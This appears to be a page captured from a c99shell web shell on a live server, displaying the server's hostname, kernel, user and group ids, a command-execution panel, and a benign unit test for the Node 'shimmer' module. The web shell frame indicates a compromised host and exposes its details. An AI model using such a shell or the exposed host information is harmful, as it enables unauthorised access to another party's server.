Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/.nvm/versions/node/v18.17.1/lib/node_modules/pm2/node_modules/shimmer/test/ drwxr-xr-x | |
| Viewing file: Select action/file-type: 'use strict'
var tap = require('tap')
var test = tap.test
var sinon = require('sinon')
var shimmer = require('../index.js')
test('shimmer initialization', function (t) {
t.plan(4)
t.doesNotThrow(function () { shimmer() })
var mock = sinon.expectation
.create('logger')
.withArgs('no original function undefined to wrap')
.once()
t.doesNotThrow(function () {
shimmer({ logger: mock })
}, "initializer doesn't throw")
t.doesNotThrow(function () {
shimmer.wrap()
}, "invoking the wrap method with no params doesn't throw")
t.doesNotThrow(function () {
mock.verify()
}, 'logger method was called with the expected message')
})
test('shimmer initialized with non-function logger', function (t) {
t.plan(2)
var mock = sinon.expectation
.create('logger')
.withArgs("new logger isn't a function, not replacing")
.once()
shimmer({ logger: mock })
t.doesNotThrow(function () {
shimmer({ logger: { ham: 'chunx' } })
}, "even bad initialization doesn't throw")
t.doesNotThrow(function () {
mock.verify()
}, 'logger initialization failed in the expected way')
})
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]-- |